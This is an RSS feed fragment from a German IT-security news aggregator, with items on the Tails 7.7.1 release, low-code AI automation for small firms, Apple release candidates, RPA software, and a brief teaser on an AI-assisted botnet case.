<li><p>Update <em>Thunderbird</em> to <a href="https://www.thunderbird.net/en-US/thunderbird/140.10.0esr/releasenotes/">140.10.0</a>.</p></li>
<li><p>Stop making it possible to start our ISO images from a USB stick.</p>

<p>Since <a href="https://tails.net/news/version_3.12/">2019</a>, we recommend <em>USB images</em> to start Tails
from a USB stick, which is by far the most common way of running Tails.</p>

<p>We still distribute <a href="https://tails.net/install/download-iso/index.en.html"><em>ISO images</em></a> to start Tails from
a DVD or in a virtual machine. Until now, these ISO images worked on USB
sticks as well, but provided a degraded experience without automatic upgrades
or Persistent Storage.</p>

<p>Our ISO images no longer work on USB sticks to save a few megabytes and
prevent confusion for people who use USB sticks.</p></li>
</ul>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.7.1</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.7.1.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.7.1 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.7.1 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[So sparen Mittelständler 6 Monate Implementierungszeit]]></title>
<description><![CDATA[KI und Low-Code gehen gut zusammen – und können Mittelständler entscheidend voranbringen, wenn die Voraussetzungen stimmen.dotshock | shutterstock.com



Es würde mich nicht wundern, wenn Ihnen dieses Szenario bekannt vorkommt. Denn Situationen wie diese sind keine Ausnahme. Laut der Trovarit-Stu...]]></description>
<link>https://tsecurity.de/de/3685217/it-security-nachrichten/so-sparen-mittelstaendler-6-monate-implementierungszeit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685217/it-security-nachrichten/so-sparen-mittelstaendler-6-monate-implementierungszeit/</guid>
<pubDate>Wed, 22 Jul 2026 06:10:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/dotshock_shutterstock_2311435343_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Devs App 16z9" class="wp-image-4196102" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">KI und Low-Code gehen gut zusammen – und können Mittelständler entscheidend voranbringen, wenn die Voraussetzungen stimmen.</figcaption></figure><p class="imageCredit">dotshock | shutterstock.com</p></div>



<p class="wp-block-paragraph">Es würde mich nicht wundern, wenn Ihnen dieses Szenario bekannt vorkommt. Denn Situationen wie diese sind keine Ausnahme. Laut der Trovarit-Studie „<a href="https://www.trovarit.com/ueber-uns/presse/studie-erp-in-der-praxis-2024-25/" target="_blank" rel="noreferrer noopener">ERP in der Praxis 2024/25</a>“, für die über 1.700 DACH-Unternehmen befragt wurden, nimmt eine typische ERP-Einführung im Mittelstand zwischen <strong>zehn</strong> und <strong>dreizehn</strong> <strong>Monaten</strong> in Anspruch. Parallel werden in mehr als der Hälfte der Projekte Zeit- oder Budgetziele <strong>nicht eingehalten</strong>. Die Implementierungskosten pro Nutzer liegen demnach bei durchschnittlich <strong>5.917 Euro</strong>, wobei Schulung, Datenmigration und Anpassung <strong>50 bis 70 Prozent der Gesamtkosten</strong> ausmachen – nicht die Lizenz.</p>



<p class="wp-block-paragraph">Für einen Konzern mit 800 Mitarbeitern, SAP-Legacy und drei Produktionsstandorten sind das keine Schreckenszahlen. Für einen Immobilienmakler mit 40 Mitarbeitern, der seine Angebote automatisiert versenden will oder einen Steuerberater, der Mandantenpost automatisch klassifizieren möchte, durchaus. Diese Mittelständler brauchen kein <a href="https://www.computerwoche.de/article/2834026/12-erp-katastrophen.html" target="_blank">ERP-Projekt</a>, sondern im Wesentlichen drei funktionierende Workflows.</p>



<h2 class="wp-block-heading">Das Low-Code-Versprechen – und die KMU-Praxis</h2>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2833861/7-wege-zur-low-code-innovation.html" target="_blank">Low-Code</a>– und KI-Automatisierungsplattformen wie n8n oder Make.com versprechen, die Lücke zwischen ERP-Großprojekt und Stillstand aufzulösen. Dabei ist anzumerken, dass beide Plattformen keinen Ersatz für ein ERP darstellen: Sie substituieren keine Stücklisten-Verwaltung, keine mehrstufige Fertigungsplanung und keine IFRS-Konsolidierung. Dafür ist weiterhin ein ERP nötig.</p>



<p class="wp-block-paragraph">Aber Plattformen wie die beiden genannten stellen Verbindungen zwischen Systemen her, die keine native Schnittstelle haben. Entscheidungen automatisieren, die nach klaren Regeln getroffen werden und Workflows bauen, die bisher über E-Mail, Excel-Export und Telefonanruf abgewickelt werden – das sind für den deutschen Mittelstand oft genau die Prozesse, die täglich die meiste Zeit kosten und zugleich selten im ERP verortet sind. Vielmehr sitzen diese in Outlook-Ordnern, in freigegebenen Tabellenblättern und in den Routinen von Mitarbeitern, die „das schon immer so machen”.</p>



<p class="wp-block-paragraph">Das <a href="https://www.kfw.de/PDF/Download-Center/Konzernthemen/Research/PDF-Dokumente-Fokus-Volkswirtschaft/Fokus-2026/Fokus-Nr.-533-Februar-2026-KI-Mittelstand.pdf" target="_blank" rel="noreferrer noopener">KfW-Mittelstandspanel vom Februar 2026</a> (PDF) stellt fest, dass <strong>20 Prozent</strong> der mittelständischen Unternehmen in Deutschland KI einsetzen – fünfmal mehr als noch im Jahr 2018. Bei Unternehmen mit über 50 Mitarbeitern liegt die Quote bereits bei <strong>36 Prozent</strong>. KI ist im Mittelstand also angekommen. Die Frage ist nur, in welcher Form. Hier hilft ein Blick auf die KPMG-Studie „<a href="https://kpmg.com/de/de/themen/digital-transformation/digitale-rechnungslegung-2025-2026.html" target="_blank" rel="noreferrer noopener">Digitalisierung im Rechnungswesen 2025/2026</a>“. Demnach:</p>



<ul class="wp-block-list">
<li>setzen <strong>53 Prozent</strong> der Befragten KI in der Buchhaltung ein oder befinden sich gerade in der Einführungsphase.</li>



<li>berichten <strong>37 Prozent</strong> dadurch von sofortigen Zeiteinsparungen bei transaktionalen Prozessen.</li>
</ul>



<p class="wp-block-paragraph">Was diese Studien allerdings nicht zeigen, ist der Implementierungsaufwand. Und genau hier liegt der große Unterschied zwischen dem KI-Einsatz per Low-Code und einem ERP-Einführungsprojekt. Das verdeutlichen die folgenden drei Anwendungsfälle für KMU im Bereich KI und Low-Code. Diese sind dazu geeignet, innerhalb von Wochen (statt Monaten oder Jahren) Ergebnisse zu liefern:</p>



<ul class="wp-block-list">
<li><strong>Rechnungseingang:</strong> PDF-Rechnungen oder XRechnung-Dokumente <a href="https://www.computerwoche.de/article/4190560/e-rechnungspflicht-das-lost-kein-erp-alleine.html" target="_blank">entgegennehmen</a>, relevante Felder per KI extrahieren und gegen ERP-Stammdaten prüfen oder vorkontierte Buchungsvorschläge generieren – was früher ein Buchhalter täglich in Stunden manuell erledigte, kann heute als Hintergrundprozess laufen. Dabei werden Fehler weiterhin von Menschen überprüft, statt automatisch in die Buchung zu laufen. Die typische Implementierungszeit hierfür liegt (in überschaubaren Setups) bei <strong>zwei bis vier Wochen</strong>.</li>



<li><strong>Angebotsmanagement:</strong> Eine Kundenanfrage geht per E-Mail ein, KI extrahiert den Leistungsumfang, prüft gegen Preislisten, generiert einen Angebotsentwurf und leitet ihn zur Freigabe an einen Sachbearbeiter weiter. Der Kunde bekommt sein Angebot schneller, die Bearbeitung kostet weniger Zeit. Dabei ist kein ERP-Modul beteiligt – und es fällt keine siebenstellige Projektsumme an.</li>



<li><strong>Mandantenpost bei Steuerberatern:</strong> Eingehende Dokumente werden nach Typ und Dringlichkeit klassifiziert und Zuständigkeiten zugewiesen. Was in Kanzleien mit hohem Postaufkommen täglich zu Engpässen führt, lässt sich so als regelbasierter Workflow abbilden – ganz ohne großes DATEV-Einführungsprojekt.</li>
</ul>



<h2 class="wp-block-heading">Woran Low-Code und KI scheitern – und wie Sie das verhindern</h2>



<p class="wp-block-paragraph">Das größte operative Risiko bei Low-Code-Projekten ist Schatten-IT, beziehungsweise <a href="https://www.computerwoche.de/article/4172297/warum-shadow-ai-trotz-governance-weiter-wachst.html" target="_blank">-KI</a>. So hat der Digitalverband Bitkom in <a href="https://www.bitkom.org/Presse/Presseinformation/Beschaeftigte-nutzen-Schatten-KI" target="_blank" rel="noreferrer noopener">einer Befragung vom Oktober 2025</a> herausgefunden, dass <strong>17 Prozent</strong> der Umfrageteilnehmer davon ausgehen, dass ihre Mitarbeiter KI-Tools über private Accounts dienstlich nutzen. Bei weiteren <strong>17 Prozent</strong> gab es diesbezüglich vereinzelte Fälle – und bei <strong>acht Prozent</strong> ist dieses Gebaren weit verbreitet. Sind in einem solchen Fall Kundendaten im Spiel, handelt es sich um einen DSGVO-Verstoß ohne Auftragsverarbeitungsvertrag als Grundlage. Insofern braucht eine Low-Code-Strategie klare Nutzungsrichtlinien – ansonsten tauscht man ein ERP-Risiko gegen ein Compliance-Risiko, was eher kein Fortschritt wäre.</p>



<p class="wp-block-paragraph">Darüber hinaus können Low-Code-Plattformen bei hochspezialisierten Logikstrukturen (mehrstufige Produktionsplanung, Konzernkonsolidierung, ISO-zertifizierte Auditpfade) an strukturelle Grenzen stoßen. Und: Der Vendor Lock-in ist real – proprietäre Plattformen lassen sich schlecht migrieren. Hier haben Open-Source- und Self-Hosting-Lösungen einen strukturellen Vorteil. Allerdings ist auch das kein Garant dafür, dass Abhängigkeiten künftig ausbleiben. </p>



<p class="wp-block-paragraph">Vor diesem Hintergrund empfehle ich Mittelständlern, sich an den folgenden drei Schritten zu orientieren, um ihre Low-Code-KI-Ambitionen nachhaltig zu verwirklichen.</p>



<ol class="wp-block-list">
<li><strong>Pilotprozess nach harten Kriterien wählen: </strong>Der erste Kandidat sollte vier Kriterien gleichzeitig erfüllen: hohes Volumen, klare fachliche Regeln, keinen schreibenden Zugriff auf das ERP in der ersten Ausbaustufe, und einen Verantwortlichen, der den Prozess heute schon im Detail kennt. Die Bereiche Rechnungseingang und Angebotsvorbereitungerfüllen diese Voraussetzungen fast immer. Ein Prozess, der gleichzeitig produktionskritisch und schlecht dokumentiert ist, hingegen fast nie. Wer an dieser Stelle den falschen Piloten wählt, muss damit rechnen, dass die Akzeptanz bei einem zweiten Versuch deutlich geringer ist.</li>



<li><strong>Datenschutz vor dem ersten Workflow klären:</strong> Ein Auftragsverarbeitungsvertrag mit dem Modellanbieter ist eine Sache, die vor dem Produktivstart stehen sollte, nicht in der Nachbereitung. Diese Prüfung muss auch mit Blick auf die Low-Code-Plattform selbst erfolgen, nicht nur das Sprachmodell dahinter. Wer hier sauber arbeitet, nimmt der eingangs beschriebenen Schatten-IT-Problematik die Grundlage: Wenn die offizielle Lösung schneller einsatzbereit ist als die inoffizielle, greifen Mitarbeiter auch seltener auf private KI-Accounts zurück.</li>



<li><strong>Skalierungsgrenze vorab definieren:</strong> Legen Sie fest, ab welchem Komplexitätsgrad ein Prozess zurück auf die ERP-Roadmap wandert, bevor Sie ihn brauchen. Diese Grenze nachträglich einzuziehen, kostet – inmitten eines gewachsenen Workflows mit zwölf Verzweigungen – mehr Zeit als die ursprüngliche ERP-Entscheidung eingespart hat. Ein einfaches Signal funktioniert in der Praxis gut: Sobald ein Workflow mehr als drei verschachtelte Bedingungen benötigt, um eine einzelne Entscheidung abzubilden, sollte die Logik überprüft – nicht erweitert – werden.</li>
</ol>



<h2 class="wp-block-heading">Der eigentliche Nutzwert für KMU</h2>



<p class="wp-block-paragraph">Sechs Monate weniger Implementierungszeit bedeutet nicht nur sechs Monate früher produktiv sein zu können. Es bedeutet:</p>



<ul class="wp-block-list">
<li>Ergebnisse demonstrieren zu können, bevor das ERP-Budget freigegeben ist.</li>



<li>Prozesse testen zu können, bevor sie skaliert werden.</li>



<li>Scheitern zu können, weil es um einen Workflow für 4.000 Euro und nicht um ein Projekt für 200.000 Euro geht.</li>
</ul>



<p class="wp-block-paragraph">Ihr ERP-Projekt darf ruhig auf der Roadmap bleiben. Aber für die nächsten zwölf Monate gibt es meistens einen schnelleren Weg. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag wurde im Rahmen des deutschsprachigen Experten-Netzwerks von Foundry veröffentlicht. Lust mitzumachen? </strong><a href="https://www.computerwoche.de/experten/" target="_blank"><strong>Jetzt bewerben</strong></a><strong>!</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Game Cheat Dev]]></title>
<description><![CDATA[Anyone have contacts to Devs who make cheats for games.     submitted by    /u/Maximum-Stick-5080   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3685129/malware-trojaner-viren/game-cheat-dev/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685129/malware-trojaner-viren/game-cheat-dev/</guid>
<pubDate>Wed, 22 Jul 2026 04:37:03 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Anyone have contacts to Devs who make cheats for games. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Maximum-Stick-5080"> /u/Maximum-Stick-5080 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1v2xtw9/game_cheat_dev/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1v2xtw9/game_cheat_dev/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[RC Builds of MacOS Tahoe 26.6, iOS 26.6, iPadOS 26.6 Available for Testers]]></title>
<description><![CDATA[The Release Candidate builds of MacOS Tahoe 26.6, iOS 26.6, and iPadOS 26.6, are now available for those engaged in beta testing for current generation versions of Apple system software. There are also RC builds for MacOS Sequoia 15.7.8 and MacOS Sonoma 14.8.8, though it’s hard to imagine many pe...]]></description>
<link>https://tsecurity.de/de/3684947/ios-mac-os/rc-builds-of-macos-tahoe-266-ios-266-ipados-266-available-for-testers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684947/ios-mac-os/rc-builds-of-macos-tahoe-266-ios-266-ipados-266-available-for-testers/</guid>
<pubDate>Wed, 22 Jul 2026 00:26:41 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Release Candidate builds of MacOS Tahoe 26.6, iOS 26.6, and iPadOS 26.6, are now available for those engaged in beta testing for current generation versions of Apple system software. There are also RC builds for MacOS Sequoia 15.7.8 and MacOS Sonoma 14.8.8, though it’s hard to imagine many people aside from some devs are ... <a class="read-more" href="https://osxdaily.com/2026/07/21/rc-builds-of-macos-tahoe-26-6-ios-26-6-ipados-26-6-available-for-testers/">Read More</a></p>
<p>The post <a href="https://osxdaily.com/2026/07/21/rc-builds-of-macos-tahoe-26-6-ios-26-6-ipados-26-6-available-for-testers/">RC Builds of MacOS Tahoe 26.6, iOS 26.6, iPadOS 26.6 Available for Testers</a> appeared first on <a href="https://osxdaily.com/">OS X Daily</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[RPA Software: Die besten Tools für Robotic Process Automation]]></title>
<description><![CDATA[Robotic Process Automation birgt für Unternehmen viele Vorteile. Wir zeigen Ihnen die besten RPA Tools.
					Foto: klyaksun – shutterstock.com




Eine Art magische Taste zur Automatisierung langweiliger und repetitiver Aufgaben am Arbeitsplatz – und damit vereinfachte Arbeitsabläufe und mehr Zei...]]></description>
<link>https://tsecurity.de/de/3682584/it-security-nachrichten/rpa-software-die-besten-tools-fuer-robotic-process-automation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682584/it-security-nachrichten/rpa-software-die-besten-tools-fuer-robotic-process-automation/</guid>
<pubDate>Tue, 21 Jul 2026 05:08:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Robotic Process Automation birgt für Unternehmen viele Vorteile. Wir zeigen Ihnen die besten RPA Tools." title="Robotic Process Automation birgt für Unternehmen viele Vorteile. Wir zeigen Ihnen die besten RPA Tools." src="https://images.computerwoche.de/bdb/3337903/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Robotic Process Automation birgt für Unternehmen viele Vorteile. Wir zeigen Ihnen die besten RPA Tools.</p></figcaption></figure><p class="imageCredit">
					Foto: klyaksun – shutterstock.com</p></div>




<p class="wp-block-paragraph">Eine Art magische Taste zur Automatisierung langweiliger und repetitiver Aufgaben am Arbeitsplatz – und damit vereinfachte Arbeitsabläufe und mehr Zeit für wichtige Tasks – das ist das Versprechen von <a href="https://www.computerwoche.de/article/2781762/was-sie-schon-immer-ueber-rpa-wissen-wollten.html" title="Robotic Process Automation" target="_blank">Robotic Process Automation</a> (RPA). RPA integriert auch neue KI-Algorithmen in alte Technologie-Stacks: Viele Plattformen bieten <a href="https://www.computerwoche.de/article/2799318/was-ist-computer-vision.html" title="Computer Vision" target="_blank">Computer Vision</a> und <a href="https://www.computerwoche.de/article/2752649/was-sie-ueber-maschinelles-lernen-wissen-muessen.html" title="Machine Learning Tools" target="_blank">Machine Learning Tools</a>. Dennoch: <a href="https://www.computerwoche.de/article/2803816/10-dunkle-rpa-geheimnisse.html" title="RPA ist kein Automatismus" target="_blank">RPA ist kein Automatismus</a>, ein beträchtliches Maß an manuellen Eingriffen und Anpassungen ist während des Trainings entsprechender Modelle erforderlich. Noch gibt es einige Tasks, die vorkonfigurierte Bots nicht erledigen können – allerdings werden die <a href="https://www.computerwoche.de/article/2790486/so-vermeiden-sie-ein-software-roboter-chaos.html" title="Softwareroboter" target="_blank">Softwareroboter</a> zunehmend intelligenter und ihr Training einfacher. </p>



<p class="wp-block-paragraph">Der RPA-Markt bietet eine Mischung aus neuen, speziell entwickelten Tools und älteren Werkzeugen, die mit zusätzlichen <a title="Automatisierungsfunktionen" href="https://www.computerwoche.de/article/2795172/wege-aus-dem-automation-desaster.html" target="_blank">Automatisierungsfunktionen</a> ausgestattet wurden. Einige Anbieter vermarkten ihre Tools unter dem Begriff “Workflow-Automatisierung” oder “Work Process Management”, andere sprechen von “Geschäftsprozessautomatisierung”.</p>



<h2 class="wp-block-heading">Was Robotic Process Automation leisten sollte</h2>



<p class="wp-block-paragraph">Bevor Sie sich für ein RPA-Produkt entscheiden, sollten Sie sich darüber im Klaren sein, dass jedes Produkt seine eigenen proprietären Dateiformate zum Einsatz bringt. Deshalb sind RPA-Lösungen nicht miteinander kompatibel. Die Konsequenz für Sie als Anwender: Sie sollten in Frage kommende Produkte vorab sorgfältig evaluieren und einen <a href="https://www.computerwoche.de/article/2804770/was-ist-ein-proof-of-concept.html" target="_blank">Proof of Concept</a> durchführen. Nachträglich auf ein anderes Produkt umzusteigen, ist in der Regel relativ mühsam – und kostspielig.</p>



<p class="wp-block-paragraph">Stellen Sie sicher, dass sämtliche grundlegenden und speziellen Funktionen, die Sie benötigen, auch im Zusammenspiel mit Ihrer IT-Umgebung funktionieren. Auf folgende Faktoren gilt es dabei besonders zu achten:</p>



<ul class="wp-block-list">
<li><strong>Bots </strong>sollten simpel einzurichten sein. Zudem sind verschiedene Möglichkeiten, um RPA-Bots für unterschiedliche Personas aufzusetzen, essenziell. Ein Recorder sollte die normalen Aktionen von Business-Nutzern erfassen. Citizen Developer sollten Low-Code-Umgebungen nutzen können, um Bots und Business-Regeln zu definieren. Und Profi-Devs sollten echten Automatisierungs-Code erstellen können, der auf die APIs des RPA-Tools zugreift.</li>



<li><strong>Low-Code-Funktionen </strong>sind unerlässlich. In der Regel vereint Low-Code eine Drag-and-Drop-Zeitleiste mit einer Aktions-Toolbox und Property-Formularen – ab und an muss auch ein Code-Snippet erstellt werden. Das geht deutlich schneller, als Business-Regeln mit herkömmlichen Verfahren zu erstellen.</li>



<li>Die Lösung der Wahl sollte sowohl <strong>Attended</strong> als auch <strong>Unattended Bots</strong> unterstützen. Manche Bots sind nur sinnvoll, um sie on Demand (attended) auszuführen – etwa wenn es darum geht, einen genau definierten Task auszuführen. Andere eignen sich, um auf bestimmte Events zu reagieren (unattended) – etwa Due-Diligence-Prüfungen für übermittelte Kreditanträge. Sie benötigen beide Formen.</li>



<li><strong>Machine-Learning-Fähigkeiten </strong>sind Pflicht. Noch vor wenigen Jahren hatten viele RPA-Tools Probleme, Informationen aus unstrukturierten Dokumenten zu extrahieren.  Heutzutage kommen ML-Lernfunktionen zum Einsatz, um solche Daten zu analysieren. Das bezeichnen einige Anbieter und Analysten auch als “Hyperautomation”.</li>



<li>Der <strong>Faktor Mensch </strong>braucht Raum. Kategoriale maschinelle Lernmodelle schätzen in der Regel die Wahrscheinlichkeit möglicher Ergebnisse. Ein Modell zur Vorhersage von Kreditausfällen, das eine Ausfallwahrscheinlichkeit von 90 Prozent angibt, könnte beispielsweise empfehlen, den Kredit abzulehnen, während ein Modell, das eine Ausfallwahrscheinlichkeit von 5 Prozent berechnet, empfehlen könnte, diesen zu gewähren. Zwischen diesen Wahrscheinlichkeiten sollte Spielraum für ein menschliches Urteil bestehen. Das RPA-Tool Ihrer Wahl sollte deshalb die Möglichkeit für manuelle Reviews bieten.</li>



<li>Bots müssen sich mit ihren <strong>Enterprise Apps integrieren</strong> lassen – ansonsten können sie keine Informationen daraus abrufen und bringen entsprechend wenig. Die Integration geht in der Regel einfacher vonstatten, als PDF-Dateien zu parsen. Nichtsdestotrotz benötigen Sie dafür Treiber, Plugins und Anmeldedaten für sämtliche Datenbanken, Buchhaltungs- und HR-Systeme sowie weitere Unternehmens-Apps.</li>



<li><strong>Orchestrierungsmöglichkeiten </strong>sind unverzichtbar. Bevor Sie Bots ausführen können, müssen Sie sie konfigurieren und die dafür erforderlichen Anmeldedaten bereitstellen, in der Regel über einen eigens abgesicherten Credential Store. Zudem müssen Benutzer autorisiert werden, um Bots erstellen und ausführen zu können.</li>



<li><strong>Cloud-Bots </strong>können zusätzliche Benefits bringen. Als RPA eingeführt wurde, liefen die Bots ausschließlich auf den Desktops der Benutzer oder den Servern des Unternehmens. Mit dem Wachstum der Cloud haben sich jedoch virtuelle Cloud-Maschinen für diesen Zweck etabliert. Einige RPA-Anbieter haben auch bereits Cloud-native Bots implementiert, die als Cloud-Apps mit Cloud-APIs ausgeführt werden, anstatt auf virtuellen Windows-, macOS- oder Linux-Maschinen. Selbst wenn Sie derzeit nur wenig in Cloud-Anwendungen investiert haben, ist diese Funktion mit Blick auf die Zukunft empfehlenswert.</li>



<li><strong>Process-Mining-Fähigkeiten </strong>können Aufwand reduzieren. Der zeitaufwändigste Teil einer RPA-Implementierung besteht im Regelfall darin, Prozesse zu identifizieren, die automatisiert werden können – und diese entsprechend zu priorisieren. Je besser die RPA-Lösung Ihrer Wahl Sie in Sachen Process Mining und Task Discovery unterstützen kann, desto schneller und einfacher können Sie automatisieren.</li>



<li><strong>Skalierbarkeit </strong>ist das A und O. Wenn Sie RPA unternehmensweit einführen und sukzessive ausbauen möchten, können leicht Skalierungsprobleme auftreten – insbesondere, wenn es um Unattended Bots geht. Dagegen hilft oft eine Cloud-Implementierung, insbesondere, wenn die Orchestrierungskomponente in der Lage ist, bei Bedarf zusätzliche Bots bereitzustellen.</li>
</ul>



<h2 class="wp-block-heading">Die besten RPA-Softwarelösungen</h2>



<p class="wp-block-paragraph">Im Folgenden haben wir die aktuell wichtigsten Anbieter und Lösungen im Bereich Robotic Process Automation für Sie zusammengestellt. Die Auflistung erhebt keinen Anspruch auf Vollständigkeit und basiert unter anderem <a href="https://www.gartner.com/reviews/market/robotic-process-automation" target="_blank" rel="noreferrer noopener">auf den Bewertungen von Anwendern</a> sowie den <a href="https://www.gartner.com/en/documents/5656223" target="_blank" rel="noreferrer noopener">Einschätzungen von Analysten</a>.</p>



<p class="wp-block-paragraph">Zu beachten ist dabei, dass <a href="https://www.computerwoche.de/article/3611281/die-ki-agenten-kommen-das-sollten-unternehmen-wissen.html" target="_blank">KI-Agenten</a> klassischen RPA-Lösungen zunehmend den Rang ablaufen, da sie weitergehende, intelligentere Automatisierungsinitiativen ermöglichen: Während Robotic Process Automation vor allem regelbasiert funktioniert, “lernen” KI-Agenten aus Daten. Diverse Anbieter haben bereits auf den Trend reagiert und ihr Automatisierungsangebot entsprechend neu ausgerichtet.</p>



<ul class="wp-block-list">
<li><a href="https://www.airslate.com/" target="_blank" rel="noreferrer noopener"><strong>Airslate</strong></a></li>



<li><a href="https://appian.com/products/platform/process-automation/robotic-process-automation-rpa" target="_blank" rel="noreferrer noopener"><strong>Appian</strong></a></li>



<li><a href="https://www.automationanywhere.com/de" target="_blank" rel="noreferrer noopener"><strong>Automation Anywhere</strong></a></li>



<li><a href="https://automationedge.com/" target="_blank" rel="noreferrer noopener"><strong>AutomationEdge</strong></a></li>



<li><a href="https://aws.amazon.com/de/lambda/" target="_blank" rel="noreferrer noopener"><strong>AWS Lambda</strong></a></li>



<li><a href="https://en.cyclone-robotics.com/" target="_blank" rel="noreferrer noopener"><strong>Cyclone Robotics</strong></a></li>



<li><a href="https://www.datamatics.com/intelligent-automation/rpa-trubot" target="_blank" rel="noreferrer noopener"><strong>Datamatics</strong></a></li>



<li><a href="https://www.edgeverve.com/assistedge/robotic-process-automation-rpa/" target="_blank" rel="noreferrer noopener"><strong>EdgeVerve Systems</strong></a></li>



<li><a href="https://automate.fortra.com/" target="_blank" rel="noreferrer noopener"><strong>Fortra Automate</strong></a></li>



<li><a href="https://www.ibm.com/de-de/products/robotic-process-automation" target="_blank" rel="noreferrer noopener"><strong>IBM</strong></a></li>



<li><a href="https://laiye.com/en" target="_blank" rel="noreferrer noopener"><strong>Laiye</strong></a></li>



<li><a href="https://www.microsoft.com/de-de/power-platform/products/power-automate?market=de" target="_blank" rel="noreferrer noopener"><strong>Microsoft</strong></a></li>



<li><a href="https://www.mulesoft.com/de/platform/rpa" target="_blank" rel="noreferrer noopener"><strong>Mulesoft</strong></a><strong> (Salesforce)</strong></li>



<li><a href="https://www.nice.com/de/products/desktop-and-process-analytics" target="_blank" rel="noreferrer noopener"><strong>NiCE</strong></a></li>



<li><a href="https://www.nintex.de/prozessplattform/robotic-process-automation/" target="_blank" rel="noreferrer noopener"><strong>Nintex</strong></a></li>



<li><a href="https://www.pega.com/rpa" target="_blank" rel="noreferrer noopener"><strong>Pega</strong></a></li>



<li><a href="https://www.sap.com/germany/products/technology-platform/process-automation/features.html" target="_blank" rel="noreferrer noopener"><strong>SAP</strong></a></li>



<li><a href="https://www.servicenow.com/de/products/robotic-process-automation.html" target="_blank" rel="noreferrer noopener"><strong>ServiceNow</strong></a></li>



<li><a href="https://www.blueprism.com/de/" target="_blank" rel="noreferrer noopener"><strong>SS&amp;C Blue Prism</strong></a></li>



<li><a href="https://www.tungstenautomation.de/products/rpa" target="_blank" rel="noreferrer noopener"><strong>Tungsten Automation</strong></a><strong> (ehemals Kofax)</strong></li>



<li><a href="https://www.uipath.com/platform/agentic-automation/rpa-and-api" target="_blank" rel="noreferrer noopener"><strong>UiPath</strong></a></li>



<li><a href="https://www.workfusion.com/" target="_blank" rel="noreferrer noopener"><strong>WorkFusion</strong></a></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.cio.com/article/219904/top-rpa-robotic-process-automation-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[KI-gestützter Botnet-Betrieb: Gemini-CLI liefert Angreifern ein portables C&C-„Baukasten“-Modell]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neue Fallanalyse zeigt, wie ein einzelner Angreifer Künstliche Intelligenz mit Gemini-CLI nutzt, um ein Botnet aus acht PCs einer Zahnarztpraxis zu steuern. Entscheidend ist nicht nur die Automatisierung einzelner Schritte, sondern die extrem kompakte C&C-Architektur: ...]]></description>
<link>https://tsecurity.de/de/3681828/it-security-nachrichten/ki-gestuetzter-botnet-betrieb-gemini-cli-liefert-angreifern-ein-portables-cc-baukasten-modell/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681828/it-security-nachrichten/ki-gestuetzter-botnet-betrieb-gemini-cli-liefert-angreifern-ein-portables-cc-baukasten-modell/</guid>
<pubDate>Mon, 20 Jul 2026 19:23:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
